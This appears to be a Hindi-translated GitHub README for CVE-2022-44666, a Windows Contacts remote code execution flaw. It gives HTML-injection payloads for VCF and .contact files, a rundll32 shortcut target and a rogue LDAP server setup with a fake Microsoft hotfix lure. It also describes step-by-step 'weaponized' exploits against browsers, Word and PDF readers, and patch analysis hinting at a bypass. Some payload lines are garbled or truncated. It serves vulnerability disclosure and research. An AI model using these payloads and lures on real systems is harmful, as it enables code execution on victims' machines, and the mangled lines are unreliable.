j00sean/cve-2022-44666CVE-2022-44666 के लिए तकनीकी विवरण और प्रूफ-ऑफ-कॉन्सेप्ट, जो एक Windows Contacts syslink नियंत्रण href विशेषता एस्केप भेद्यता है जो क्राफ्टेड VCF/.contact फ़ाइलों और LDAP प्रोटोकॉल हैंडलर के माध्यम से रिमोट कोड निष्पादन सक्षम बनाती है।
यह एक और भूला हुआ 0day की कहानी है जिसे John Page (aka hyp3rlinx) द्वारा 4 साल से भी अधिक पहले पूरी तरह से प्रकट किया गया था। रिपोर्ट को समझने के लिए, आपको यह ध्यान रखना होगा कि मैं बेवकूफ हूँ :-) और मेरी बेवकूफी मुझे सरल समस्याओं को हल करने के लिए लंबे रास्ते लेने पर मजबूर करती है, लेकिन यह मुझे कुछ बग्स का शोषण करने के अन्य तरीकों का पता लगाने में भी मदद करती है। मैं यह क्यों कह रहा हूँ? क्योंकि मैं जल्दी से समझ नहीं पाया कि .contact फ़ाइल बनाने का तरीका संपर्क बनाने के लिए Contact फ़ोल्डर में ब्राउज़ करना है, इसके बजाय, मैंने इस जानकारी का उपयोग पहले एक VCF फ़ाइल बनाने के लिए किया और फिर, मैंने गलत तरीके से सोचा कि यह किसी प्रकार का वैरिएंट था। यह इसलिए भी था क्योंकि मेरा दिमाग यह नहीं समझ पाता कि कुछ 0days इतने लंबे समय तक भुलाए जाते हैं ¯\(ツ)/¯ एक बार ऐसा करने के बाद और MSRC और ZDI द्वारा "wontfix" जवाबों के बाद, गंभीरता बढ़ाने के लिए आगे की जाँच की गई, अंततः .contact फ़ाइलों और windows url प्रोटोकॉल हैंडलर "ldap" तक पहुँचा गया।
जब मैं this vulnerability के लिए exploit कोड पढ़ रहा था, जो वास्तव में 0day के रूप में जारी किया गया था और ZDI's report को खोजना संभव है।
Update 2022/07/21: इस मामले को MS को रिपोर्ट करने के बाद, MSRC के लोगों ने मुझे सही ढंग से बताया कि Windows Contacts, VCF फ़ाइलों को खोलने के लिए डिफ़ॉल्ट प्रोग्राम नहीं है।
आगे के शोध से अभी भी पता चलता है कि Win7 ESU और WinServer2019 पर VCF फ़ाइलों के लिए डिफ़ॉल्ट प्रोग्राम Windows Contacts (wab.exe) है, अन्यथा MS People (PeopleApp.exe) का उपयोग किया जाता है। इस परीक्षण की पूरी तालिका यहाँ है:
वैसे भी वे अभी भी तर्क देते हैं कि कुछ सोशल इंजीनियरिंग शामिल है जैसे कि एक क्राफ्टेड VCF फ़ाइल खोलना और बग का शोषण करने के लिए कुछ लिंक पर क्लिक करना, इसलिए यह सुरक्षा अपडेट के लिए MSRC बग बार को पूरा नहीं करता है।
Update 2022/07/25: खैर, आगे के शोध के बाद, यह वही बग है। मैं अंततः एक .contact proof of concept खोजने में सक्षम हुआ हूँ। HTML entities का उपयोग करके .contact फ़ाइल को सही ढंग से पार्स करना वास्तव में संभव है। ध्यान दें कि यह पिछली समस्या (Update 2022/07/21) को हल करता है और यह फ़ाइल स्वरूप (.contact) Windows Contacts द्वारा खोला जाता है, जो इस फ़ाइल एक्सटेंशन के लिए डिफ़ॉल्ट प्रोग्राम है, भले ही सिस्टम में MS Office स्थापित हो। यदि अभी तक नहीं किया गया है तो इसे केवल पहले फ़ाइल एसोसिएशन की आवश्यकता है, लेकिन ऐसा करने के लिए केवल एक प्रोग्राम डिफ़ॉल्ट रूप से स्थापित है, वह है Windows Contacts।
Update 2022/07/25: इस आगे के शोध ने मुझे उस बिंदु तक पहुँचा दिया जहाँ मैं कुछ समय पहले पहुँचने की कोशिश कर रहा था: बग का शोषण करने के लिए स्वचालित रूप से क्राफ्टेड संपर्क डेटा खोलने हेतु कुछ URL प्रोटोकॉल हैंडलर का उपयोग करना। मैं अंततः इसे ldap uri scheme की बदौलत काम करवाने में सक्षम हुआ, जो डिफ़ॉल्ट रूप से Windows Contacts एप्लिकेशन से संबद्ध है, इसलिए केवल एक rogue LDAP सर्वर स्थापित करके और payload डेटा को mail, url या wwwhomepage विशेषताओं के अंतर्गत प्रदान करके, शोषण का प्रभाव बढ़ जाता है क्योंकि अब एक दुर्भावनापूर्ण VCF/Contact फ़ाइल पर डबल क्लिक करने की आवश्यकता नहीं है, हम इसे url प्रोटोकॉल का उपयोग करके वितरित कर सकते हैं।
Update 2023/02/08: MSRC द्वारा सद्भावना के प्रतीक के रूप में, CVE-2022-44666 खोज के लिए स्वीकृति पृष्ठ में John Page (aka hyp3rlinx) को शामिल किया गया है।
यह रिपोर्ट मूल रूप से उपरोक्त लिंक्स के समान है, हालाँकि मैंने इसमें शामिल सोशल इंजीनियरिंग को थोड़ा बेहतर किया है। वास्तव में, सबसे पहली चीज़ जो मैंने की वह यह थी कि लिंक्स को देखने के तरीके में सुधार किया, बिल्कुल जैसे यह एक XSS भेद्यता हो, यह वास्तव में एक HTML injection है इसलिए पहले anchor तत्व को बंद करके एक नया डालना संभव है। फिर, मैं उन HTML तत्वों की दृश्यता को हटाना चाहता था, इसलिए जब तक संभव हो उतना लंबा "innerHTML" सेट करना उन्हें छिपाने के लिए पर्याप्त होगा (क्योंकि वर्ण सीमाएँ हैं)।
यह उपयोग किया गया अंतिम payload है:```html URL;WORK:">CLICKMEEEEE...
क्या होता है यह देखने के लिए, procmon चलाएँ और href विशेषता का एक नकली लक्ष्य इस प्रकार सेट करें:```html
URL;WORK:"></a><a href="https://github.com/j00sean/cve-2022-44666/blob/main/foo.exe">CLICKMEEEEE...</a>
एक बार लिंक पर क्लिक करने पर, procmon में इस प्रकार का आउटपुट देखा जाता है:
यह पहले "CreateFile" ऑपरेशन के लिए स्टैकट्रेस है:``` 0 FLTMGR.SYS FltpPerformPreCallbacksWorker + 0x36c 0xfffff806675a666c C:\WINDOWS\System32\drivers\FLTMGR.SYS 1 FLTMGR.SYS FltpPassThroughInternal + 0xca 0xfffff806675a611a C:\WINDOWS\System32\drivers\FLTMGR.SYS 2 FLTMGR.SYS FltpCreate + 0x310 0xfffff806675dc0c0 C:\WINDOWS\System32\drivers\FLTMGR.SYS 3 ntoskrnl.exe IofCallDriver + 0x55 0xfffff8066904e565 C:\WINDOWS\system32\ntoskrnl.exe 4 ntoskrnl.exe IoCallDriverWithTracing + 0x34 0xfffff8066909c224 C:\WINDOWS\system32\ntoskrnl.exe 5 ntoskrnl.exe IopParseDevice + 0x117d 0xfffff806694256bd C:\WINDOWS\system32\ntoskrnl.exe 6 ntoskrnl.exe ObpLookupObjectName + 0x3fe 0xfffff8066941329e C:\WINDOWS\system32\ntoskrnl.exe 7 ntoskrnl.exe ObOpenObjectByNameEx + 0x1fa 0xfffff806694355fa C:\WINDOWS\system32\ntoskrnl.exe 8 ntoskrnl.exe NtQueryAttributesFile + 0x1c5 0xfffff80669501125 C:\WINDOWS\system32\ntoskrnl.exe 9 ntoskrnl.exe KiSystemServiceCopyEnd + 0x25 0xfffff806692097b5 C:\WINDOWS\system32\ntoskrnl.exe 10 ntdll.dll NtQueryAttributesFile + 0x14 0x7ff8f0aed4e4 C:\Windows\System32\ntdll.dll 11 KernelBase.dll GetFileAttributesW + 0x85 0x7ff8ee19c045 C:\Windows\System32\KernelBase.dll 12 shlwapi.dll PathFileExistsAndAttributesW + 0x5a 0x7ff8ef20212a C:\Windows\System32\shlwapi.dll 13 shlwapi.dll PathFileExistsDefExtAndAttributesW + 0xa1 0x7ff8ef2022b1 C:\Windows\System32\shlwapi.dll 14 shlwapi.dll PathFileExistsDefExtW + 0x3f 0x7ff8ef2021ef C:\Windows\System32\shlwapi.dll 15 shlwapi.dll PathFindOnPathExW + 0x2f7 0x7ff8ef201f77 C:\Windows\System32\shlwapi.dll 16 shell32.dll PathResolve + 0x154 0x7ff8eebb0954 C:\Windows\System32\shell32.dll 17 shell32.dll CShellExecute::QualifyFileIfNeeded + 0x105 0x7ff8eebb05c9 C:\Windows\System32\shell32.dll 18 shell32.dll CShellExecute::ValidateAndResolveFileIfNeeded + 0x5e 0x7ff8eeb1e422 C:\Windows\System32\shell32.dll 19 shell32.dll CShellExecute::_DoExecute + 0x6d 0x7ff8eeb1e1cd C:\Windows\System32\shell32.dll 20 shell32.dll <lambda_519a2c088cd7d0cdfafe5aad47e70646>::<lambda_invoker_cdecl> + 0x2d 0x7ff8eeb09fed C:\Windows\System32\shell32.dll 21 SHCore.dll _WrapperThreadProc + 0xe9 0x7ff8f098bf69 C:\Windows\System32\SHCore.dll 22 kernel32.dll BaseThreadInitThunk + 0x14 0x7ff8f07e7034 C:\Windows\System32\kernel32.dll 23 ntdll.dll RtlUserThreadStart + 0x21 0x7ff8f0aa2651 C:\Windows\System32\ntdll.dll
Setting a breakpoint in **Shell32!ShellExecuteExW**, we can have a clearer picture of the functions involved:```
CommandLine: "C:\Program Files\Windows Mail\wab.exe" /vcard C:\Users\admin\Documents\vcf-0day\exploit.vcf
...
ModLoad: 00007ff7`c7d50000 00007ff7`c7dd5000 wab.exe
...
0:000> bp SHELL32!ShellExecuteExW
...
Breakpoint 0 hit
SHELL32!ShellExecuteExW:
00007ff8`eeb20e40 48895c2410 mov qword ptr [rsp+10h],rbx ss:000000d8`dc2dae88=0000000000090622
0:000> k
# Child-SP RetAddr Call Site
00 000000d8`dc2dae78 00007ff8`d3afee27 SHELL32!ShellExecuteExW
01 000000d8`dc2dae80 00007ff8`d3ad7802 wab32!SafeExecute+0x143
02 000000d8`dc2dbf90 00007ff8`ef3b2920 wab32!fnSummaryProc+0x1c2
03 000000d8`dc2dbfc0 00007ff8`ef3b20c2 USER32!UserCallDlgProcCheckWow+0x144
04 000000d8`dc2dc0a0 00007ff8`ef3b1fd6 USER32!DefDlgProcWorker+0xd2
05 000000d8`dc2dc160 00007ff8`ef3ae858 USER32!DefDlgProcW+0x36
06 000000d8`dc2dc1a0 00007ff8`ef3ade1b USER32!UserCallWinProcCheckWow+0x2f8
07 000000d8`dc2dc330 00007ff8`ef3ad68a USER32!SendMessageWorker+0x70b
08 000000d8`dc2dc3d0 00007ff8`d93a6579 USER32!SendMessageW+0xda
09 000000d8`dc2dc420 00007ff8`d93a62e7 comctl32!CLink::SendNotify+0x12d
0a 000000d8`dc2dd560 00007ff8`d9384bb8 comctl32!CLink::Notify+0x77
0b 000000d8`dc2dd590 00007ff8`d935add2 comctl32!CMarkup::OnButtonUp+0x78
0c 000000d8`dc2dd5e0 00007ff8`ef3ae858 comctl32!CLink::WndProc+0x86ff2
0d 000000d8`dc2dd6f0 00007ff8`ef3ae299 USER32!UserCallWinProcCheckWow+0x2f8
0e 000000d8`dc2dd880 00007ff8`ef3ac050 USER32!DispatchMessageWorker+0x249
0f 000000d8`dc2dd900 00007ff8`d92b6317 USER32!IsDialogMessageW+0x280
10 000000d8`dc2dd990 00007ff8`d92b61b3 comctl32!Prop_IsDialogMessage+0x4b
11 000000d8`dc2dd9d0 00007ff8`d92b5e2d comctl32!_RealPropertySheet+0x2bb
12 000000d8`dc2ddaa0 00007ff8`d3acfb68 comctl32!_PropertySheet+0x49
13 000000d8`dc2ddad0 00007ff8`d3ace871 wab32!CreateDetailsPropertySheet+0x930
14 000000d8`dc2de140 00007ff8`d3ad68f5 wab32!HrShowOneOffDetails+0x4f5
15 000000d8`dc2de390 00007ff8`d3af800f wab32!HrShowOneOffDetailsOnVCard+0xed
16 000000d8`dc2de400 00007ff7`c7d51b16 wab32!WABObjectInternal::VCardDisplay+0xbf
17 000000d8`dc2de450 00007ff7`c7d52c28 wab!WinMain+0x896
18 000000d8`dc2dfab0 00007ff8`f07e7034 wab!__mainCRTStartup+0x1a0
19 000000d8`dc2dfb70 00007ff8`f0aa2651 KERNEL32!BaseThreadInitThunk+0x14
1a 000000d8`dc2dfba0 00000000`00000000 ntdll!RtlUserThreadStart+0x21
और इसमें शामिल स्यूडो-कोड निम्नलिखित है:```cpp _int64 __fastcall fnSummaryProc(HWND hWnd, int a2, WPARAM a3, LONG_PTR a4) {
...
default:
if ( !((v22 + 4) & 0xFFFFFFFD) && *(_WORD *)(v5 + 136) )
SafeExecute(v7, (const unsigned __int16 *)v9, (const unsigned __int16 *)(v5 + 136)); <== FOLLOW THIS PATH
break;
}
} return 1i64; }
__int64 __fastcall SafeExecute(HWND a1, const unsigned __int16 *a2, const unsigned __int16 *a3) { const unsigned __int16 *v3; // rbx HWND v4; // rdi unsigned int v5; // ebx BOOL v6; // ebx __int64 v7; // rdx OLECHAR *v8; // rax signed int v10; // eax DWORD pcchCanonicalized; // [rsp+20h] [rbp-E0h] SHELLEXECUTEINFOW pExecInfo; // [rsp+30h] [rbp-D0h] OLECHAR Dst[2088]; // [rsp+A0h] [rbp-60h]
v3 = a3; v4 = a1; memset_0(Dst, 0, 0x1048ui64); pcchCanonicalized = 2084; v5 = UrlCanonicalizeW(v3, Dst, &pcchCanonicalized, 0); if ( (v5 & 0x80000000) == 0 ) { v6 = UrlIsW(Dst, URLIS_FILEURL); pExecInfo.hProcess = 0i64; pExecInfo.hwnd = 0i64; pExecInfo.lpVerb = 0i64; _mm_store_si128((__m128i *)&pExecInfo.lpParameters, (__m128i)0i64); *(_OWORD *)&pExecInfo.hInstApp = 0i64; *(_OWORD *)&pExecInfo.lpClass = 0i64; *(_OWORD *)&pExecInfo.dwHotKey = 0i64; if ( !ShellExecuteExW(&pExecInfo) ) <== CALL HERE { v10 = GetLastError(); v5 = (unsigned __int16)v10 | 0x80070000; if ( v10 <= 0 ) v5 = v10; } } ... }
इसके बाद, यह स्पष्ट है कि समस्या वास्तव में [comctl32.dll लाइब्रेरी में SysLink नियंत्रण][R.6] और href विशेषता को wab32.dll लाइब्रेरी द्वारा पार्स करने के तरीके से संबंधित है।
दूरस्थ साझा स्थानों या webdavs का उपयोग करके इसका शोषण करना संभव नहीं है।```html
URL;WORK:"></a><a href="https://github.com/j00sean/cve-2022-44666/blob/main/%5C%5C127.0.0.1%4080%5Ctest%5Cpayload.exe">CLICKMEEEEE...</a>
URL;WORK:"></a><a href="https://github.com/j00sean/cve-2022-44666/blob/main/%5C%5Cvboxsvr%5Ctest%5Cpayload.exe">CLICKMEEEEE...</a>
फ़ाइल की जानकारी पूछी जाती है लेकिन उसे कभी निष्पादित नहीं किया जाता है।
सापेक्ष पथों का उपयोग करना संभव है, जैसे:```html URL;WORK:">CLICKMEEEEE...
उदाहरण:```html
URL;WORK:"></a><a href="https://github.com/j00sean/cve-2022-44666/blob/main/hidden%5Cpayload.exe">CLICKMEEEEE...</a>
आगे बढ़ते हुए और rundll32 को अटैक वेक्टर के रूप में परीक्षण करते समय, अभी पता चला कि चयनित पेलोड एक्ज़ीक्यूटेबल के साथ आर्गुमेंट्स का उपयोग संभव नहीं था। हालाँकि, एक lnk फ़ाइल का उपयोग करके जो किसी चुने हुए एक्ज़ीक्यूटेबल को लक्षित करती है, cmdline आर्गुमेंट्स का उपयोग संभव था। यह थोड़ा पेचीदा है लेकिन यह काम करता है।```html URL;WORK:">CLICKMEEEEE...
run.lnk का लक्ष्य:```
rundll32.exe hidden\payload.bin,Foo"
यह अधिक दिलचस्प लगता है क्योंकि लक्ष्य सिस्टम में executable ड्रॉप करना आवश्यक नहीं है।
वर्तमान लॉग-इन उपयोगकर्ता के रूप में रिमोट कोड निष्पादन।
Windows Contacts का उपयोग करके .vcf फ़ाइलें खोलने के लिए फ़ाइल एसोसिएशन होना आवश्यक है।
अपडेट 2021/07/25: Contact फ़ाइलों (.contact) के लिए उन्हें डिफ़ॉल्ट रूप से खोलने वाला केवल एक ही एप्लिकेशन है: Windows Contacts, भले ही लक्ष्य सिस्टम में MS Office स्थापित हो।
./report-pocs/ में मौजूद फ़ाइलों का उपयोग करें:
./videos में कुछ वीडियो संलग्न हैं:
यह ./report-pocs/ में स्थित proof of concept फ़ाइलों का सारांश है:
और ./src में स्थित फ़ाइलें:
आगे के शोषण के लिए और चूंकि यह भेद्यता रिमोट साझा स्थान की फ़ाइलों को लोड करने की अनुमति नहीं देती, uri प्रोटोकॉल "search-ms" एक दिलचस्प वेक्टर है। आपको ऐसे proof of concept मिलेंगे जो केवल calc या notepad जैसे स्थानीय बाइनरी को ट्रिगर करते हैं, और अधिक जटिल proof of concept भी मिलेंगे जिन्हें मैंने weaponized exploit का नाम दिया है, क्योंकि वे स्थानीय फ़ाइलों को निष्पादित नहीं करते। ये pocs और exploits ./further-pocs/ में स्थित हैं।
यह लक्षित अनुप्रयोगों का सारांश है:
पुनरुत्पादन के लिए:
एक रिमोट साझा स्थान (SMB या WebDav) सेट करें। ./further-pocs/to-copy-in-remote-shared-location/ की सामग्री को उसमें कॉपी करें।
यदि चाहें, तो ./further-pocs/to-copy-in-remote-shared-location/setup-hidden.bat चलाकर फ़ाइलों को छिपाएँ।
./further-pocs/[vector or target app]/remote-weaponized-by-searchms/ में स्थित exploit.html/poc.html फ़ाइल को अपने रिमोट साझा स्थान की ओर इंगित करने के लिए संशोधित करें।
लक्षित ऐप पथ में एक वेबसर्वर प्रारंभ करें, अर्थात: ./further-pocs/[vector or target app]/[poc||remote-weaponized-by-searchms]/।
मामले के आधार पर poc/exploit फ़ाइलें चलाएँ।
अधिक जानकारी के लिए, ./videos में स्थित वीडियो देखें:
इसके अतिरिक्त, आगे के शोषण के लिए ये सभी फ़ाइलें हैं:
MSRC से अपडेट 2022/07/21 प्राप्त करने के बाद, मैंने Contact फ़ाइल एक्सटेंशन की जाँच करने का निर्णय लिया, क्योंकि यह पुष्टि करेगा कि क्या यह मूल खोजकर्ता द्वारा पाए गए मामले के समान है या नहीं, और निश्चित रूप से यह वैसा ही है। मेरा पहला proof of concept केवल एक अलग फ़ाइल प्रारूप का उपयोग करना था, लेकिन बग वही है। केवल "C:\Program Files\Windows Mail" में स्थित wabmig.exe का उपयोग करके सभी VCF फ़ाइलों को Contact फ़ाइलों में परिवर्तित करना संभव है।
और जैसा कि परिचय अपडेट में उल्लेख किया गया है, ये फ़ाइलें Windows Contacts (डिफ़ॉल्ट प्रोग्राम) द्वारा खोली जाती हैं।
पुनरुत्पादन के चरण VCF फ़ाइलों के लिए उपयोग किए गए चरणों के समान हैं। VCF फ़ाइलों पर देखी गई समान प्रतिबंध Contact फ़ाइलों पर भी लागू होते हैं, अर्थात, विशेषता "href" के लिए रिमोट साझा स्थानों का उपयोग करना संभव नहीं है, लेकिन स्थानीय पथ या url प्रोटोकॉल "search-ms" का उपयोग करना अभी भी संभव है।
Contact फ़ाइलों का शोषण करने के लिए जोड़ी या संशोधित की गई ये सभी फ़ाइलें हैं:
जैसा कि ऊपर उल्लेख किया गया है, इस आगे के शोध ने मुझे उस बिंदु तक पहुँचाया जहाँ मैं कुछ समय पहले पहुँचने का प्रयास कर रहा था: बग का शोषण करने के लिए स्वचालित रूप से तैयार संपर्क डेटा खोलने हेतु किसी URL प्रोटोकॉल हैंडलर का उपयोग करना। यह चुनौती अंततः ldap uri scheme की बदौलत पूरी हुई।```js ... Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\LDAP] @="URL:LDAP Protocol" "EditFlags"=hex:02,00,00,00 "URL Protocol"=""
[HKEY_CLASSES_ROOT\LDAP\Clsid] @="{228D9A81-C302-11cf-9AA4-00AA004A5691}"
[HKEY_CLASSES_ROOT\LDAP\shell]
[HKEY_CLASSES_ROOT\LDAP\shell\open]
[HKEY_CLASSES_ROOT\LDAP\shell\open\command]
@=hex(2):22,00,25,00,50,00,72,00,6f,00,67,00,72,00,61,00,6d,00,46,00,69,00,6c,
00,65,00,73,00,25,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,20,00,
4d,00,61,00,69,00,6c,00,5c,00,77,00,61,00,62,00,2e,00,65,00,78,00,65,00,22,
00,20,00,22,00,2f,00,6c,00,64,00,61,00,70,00,3a,00,25,00,31,00,22,00,00,00
...
अर्थात:```
"%ProgramFiles%\Windows Mail\wab.exe" "/ldap:%1"
तो केवल एक दुष्ट LDAP सर्वर स्थापित करके और पेलोड डेटा परोसते हुए, इस url प्रोटोकॉल हैंडलर का उपयोग करके mail, url या wwwhomepage ldif विशेषताओं में दुर्भावनापूर्ण पेलोड के साथ Windows Contacts (wab.exe) लॉन्च करना संभव है। ध्यान दें कि मैं "wwwhomepage" विशेषता पर यह कार्य करने में असमर्थ था जैसा कि यहाँ संकेत दिया गया है, लेकिन यह सैद्धांतिक रूप से काम करना चाहिए।
तैयार की गई ldif सामग्री कुछ इस प्रकार है:```html ... dn: dc=org dc: org objectClass: dcObject
dn: dc=example,dc=org dc: example objectClass: dcObject objectClass: organization
dn: ou=people,dc=example,dc=org objectClass: organizationalUnit ou: people
dn: cn=Microsoft,ou=people,dc=example,dc=org cn: Microsoft gn: Microsoft company: Microsoft title: Microsoft KB5001337-hotfix mail:">Run-installer... url:">Run-installer... wwwhomepage:">Run-installer... objectclass: top objectclass: person objectClass: inetOrgPerson ...
And the code for the rogue ldap server was taken borrowed from the quick start server of ldaptor project, located [over here][R.9].
यह लक्षित अनुप्रयोगों का सारांश है:
* Browsers: MS Edge, Google Chrome, Mozilla Firefox & Opera.
* MS Word.
* PDF Readers (mainly Adobe Acrobat Reader DC & Foxit PDF Reader).
पुनरुत्पादन के चरण निम्नलिखित हैं:
1. [./further-pocs](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs) को दूरस्थ साझा स्थान (SMB या WebDav) में कॉपी करें।
2. यदि चाहें, तो [./further-pocs/MSWord/setup-hidden.bat](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/MSWord/setup-hidden.bat) चलाकर फ़ाइलों को छिपाएँ।
3. pip द्वारा ldaptor स्थापित करें: pip install ldaptor। ध्यान दें कि यह Python 2.7 x64 पर परीक्षण किया गया है।
4. [./further-pocs/ldap-rogue-server/ldap-server.py](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/ldap-rogue-server/ldap-server.py) में स्थित rogue LDAP सर्वर प्रारंभ करें।
5. लक्षित ऐप पथ में एक वेबसर्वर प्रारंभ करें, अर्थात: ./further-pocs/[vector or target app]/url-protocol-ldap/।
6. स्थिति के अनुसार exploit फ़ाइलें चलाएँ।
7. अधिक जानकारी के लिए, [./videos](https://github.com/j00sean/cve-2022-44666/blob/main/videos) में स्थित वीडियो देखें:
- 7.1. ब्राउज़र के लिए: [./videos/ldap-browsers-exploit.gif](https://github.com/j00sean/cve-2022-44666/blob/main/videos/ldap-browsers-exploit.gif)।
- 7.2. MS Word के लिए: [./videos/ldap-msword-exploit.gif](https://github.com/j00sean/cve-2022-44666/blob/main/videos/ldap-msword-exploit.gif)।
- 7.3. PDF रीडर के लिए: [./videos/ldap-pdfreaders-exploit.gif](https://github.com/j00sean/cve-2022-44666/blob/main/videos/ldap-pdfreaders-exploit.gif)।
ये url प्रोटोकॉल ldap का शोषण करने के लिए अतिरिक्त फ़ाइलें हैं:
+ [./further-pocs/browsers/url-protocol-ldap/exploit.html](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/browsers/url-protocol-ldap/exploit.html): एक HTML फ़ाइल जो एक rogue LDAP सर्वर पर url प्रोटोकॉल ldap लोड करती है, जो mail और urls के लिए तैयार डेटा लौटाता है।
+ [./further-pocs/MSWord/url-protocol-ldap/poc.html](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/MSWord/url-protocol-ldap/poc.html): remote template अर्थात htmlfile activex, जो एक rogue LDAP सर्वर पर url प्रोटोकॉल ldap लोड करता है, जो mail और urls के लिए तैयार डेटा लौटाता है।
+ [./further-pocs/MSWord/url-protocol-ldap/exploit.rtf](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/MSWord/url-protocol-ldap/exploit.rtf): RTF प्रारूप में Word फ़ाइल जो remote template अर्थात htmlfile activex ट्रिगर करती है।
+ [./further-pocs/MSWord/url-protocol-ldap/exploit.docx](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/MSWord/url-protocol-ldap/exploit.docx): DOCX प्रारूप में Word फ़ाइल जो remote template अर्थात htmlfile activex ट्रिगर करती है।
+ [./further-pocs/PDFreaders/url-protocol-ldap/exploit.html](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/PDFreaders/url-protocol-ldap/exploit.html): एक HTML फ़ाइल जो एक rogue LDAP सर्वर पर url प्रोटोकॉल ldap लोड करती है, जो mail और urls के लिए तैयार डेटा लौटाता है।
+ [./further-pocs/PDFreaders/url-protocol-ldap/exploit.pdf](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/PDFreaders/url-protocol-ldap/exploit.pdf): एक PDF जो डिफ़ॉल्ट ब्राउज़र को uri प्रोटोकॉल "ldap" निष्पादित करने के लिए ट्रिगर करता है।
+ [./further-pocs/ldap-rogue-server/ldap-server.py](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/ldap-rogue-server/ldap-server.py): ldaptor के सर्वर नमूने पर आधारित Python स्क्रिप्ट, जो Python 2.7 पर चलती है, और ldif विशेषताओं mail, url और wwwhomepage के माध्यम से बग का शोषण करने के लिए तैयार डेटा प्रदान करती है।
## CVE-2022-44666: पैच विश्लेषण और अपूर्ण सुधार
13 दिसंबर, 2022 को Microsoft द्वारा इस भेद्यता का पैच [CVE-2022-44666][R.10] के रूप में जारी किया गया था।
पैच का diff करने के लिए उपयोग किए गए संस्करण (C:\Program Files\Common Files\System\wab32.dll में स्थित) निम्न रहे हैं:
+ MD5: 588A3D68F89ABF1884BEB7267F274A8B (pre-patch)
+ MD5: D1708215AD2624E666AFD97D97720E81 (post-patch)
प्रभावित लाइब्रेरी (wab32.dll) का [@matalaz][R.12] द्वारा [Diaphora][R.11] के साथ diff करने पर, हमें कुछ नए फ़ंक्शन मिलेंगे:
और ये आंशिक मिलान हैं:
फ़ंक्शन "fnSummaryProc" में नए कोड पर एक नज़र डालें:```cpp
__int64 __fastcall fnSummaryProc(HWND a1, int a2, WPARAM a3, LONG_PTR a4)
{
...
if ( v26 <= 0x824 && (!v23 ? (v27 = 0) : (v27 = IsValidWebsiteUrlScheme(v23)), v27) ) // (1)
{
v38 = (unsigned __int16 *)2085;
v39 = &CPercentEncodeRFC3986::`vftable';
v40 = v23;
v41 = v26;
v28 = CPercentEncodeString::Encode(
(CPercentEncodeString *)&v39,
(unsigned __int16 *)&Dst,
(unsigned __int64 *)&v38,
v25);
v29 = v7;
if ( !v28 )
{
v30 = (const unsigned __int16 *)&Dst;
LABEL_44:
SafeExecute(v29, v24, v30); // (2)
return 1i64;
}
}
else
{
if ( v23 )
v32 = IsInternetAddress(v23, &v38);
else
v32 = 0;
v29 = v7;
if ( v32 )
{
v30 = v23;
goto LABEL_44; // (3)
}
}
v31 = GetParent(v29);
ShowMessageBox(v31, 0xFE1u, 0x30u); // (4)
return 1i64;
}
...
}
फिक्स के बाद, नया कोड फ़ंक्शन "SafeExecute" (2) को कॉल करता है या एक मैसेज बॉक्स (4) दिखाता है।
फ़ंक्शन "SafeExecute" (2) की कॉल तक पहुँचने के लिए (1) में कोड प्रवाह का अनुसरण करना संभव है:```cpp _BOOL8 __fastcall IsValidWebsiteUrlScheme(LPCWSTR pszIn) { const WCHAR *v1; // rbx _BOOL8 result; // rax DWORD pcchOut; // [rsp+30h] [rbp-68h] char Dst; // [rsp+40h] [rbp-58h]
v1 = pszIn; result = 0; if ( UrlIsW(pszIn, URLIS_URL) ) // (5) { memset_0(&Dst, 0, 0x40ui64); pcchOut = 32; if ( UrlGetPartW(v1, (LPWSTR)&Dst, &pcchOut, 1u, 0) >= 0 && (!(unsigned int)StrCmpICW(&Dst, L"http") || !(unsigned int)StrCmpICW(&Dst, L"https")) ) // (6) { result = 1; } } return result; }
यह फ़ंक्शन पहले जाँचता है कि [URL (5) में मान्य है या नहीं][R.13], फिर यह जाँचता है कि यह (6) में "http" या "https" से शुरू होता है या नहीं। यह कोड पथ काफी सुरक्षित लगता है। फ़ंक्शन "fnSummaryProc" पर वापस आते हुए, एक और कोड पथ है जो (3) में फिक्स को बायपास करने में मदद कर सकता है।```cpp
__int64 __fastcall IsInternetAddress(unsigned __int16 *a1, unsigned __int16 **a2)
{
unsigned __int16 v2; // ax
unsigned __int16 **v3; // r14
unsigned __int16 *v4; // rdi
unsigned __int16 *v5; // r15
unsigned __int16 v6; // dx
unsigned __int16 *v7; // r8
unsigned __int16 *v8; // rcx
WCHAR v9; // ax
_WORD *v10; // rsi
int v11; // ebp
LPWSTR v12; // rax
unsigned __int16 *v14; // rax
v2 = *a1;
v3 = a2;
v4 = a1;
v5 = a1;
while ( v2 && v2 != 0x3C )
{
a1 = CharNextW(a1);
v2 = *a1;
}
v6 = *a1;
v7 = a1;
if ( *a1 )
{
v8 = a1 + 1;
v4 = v8;
}
else
{
v8 = v4;
}
v9 = *v8;
v10 = (_WORD *)((unsigned __int64)v7 & -(__int64)(v6 != 0));
v11 = v6 != 0;
if ( *v8 & 0xFFBF )
{
while ( v9 <= 0x7Fu && v9 != 0xD && v9 != 0xA )
{
if ( v9 == 0x40 ) // (7)
{
v14 = CharNextW(v8);
if ( !(unsigned int)IsDomainName(v14, v11, v3 != 0i64) ) // (8)
return 0i64;
if ( v3 )
{
if ( v10 )
{
*v10 = 0;
TrimSpaces(v5);
}
*v3 = v4;
}
return 1i64;
}
v12 = CharNextW(v8);
v8 = v12;
v9 = *v12;
if ( !v9 )
return 0i64;
}
}
return 0i64;
}
(7) में इस बारे में एक बात ने मेरा ध्यान खींचा, जहाँ कोड यह जाँच रहा है कि क्या कोई "@" वर्ण मौजूद है। फिर, यह जाँचने के लिए कि क्या "@" वर्ण के बाद की स्ट्रिंग एक डोमेन नाम है या नहीं, यह "IsDomainName" फ़ंक्शन को कॉल करता है:```cpp __int64 __fastcall IsDomainName(unsigned __int16 *a1, int a2, int a3) { int v3; // edi int v4; // ebx int v5; // er9 __int64 v6; // rdx
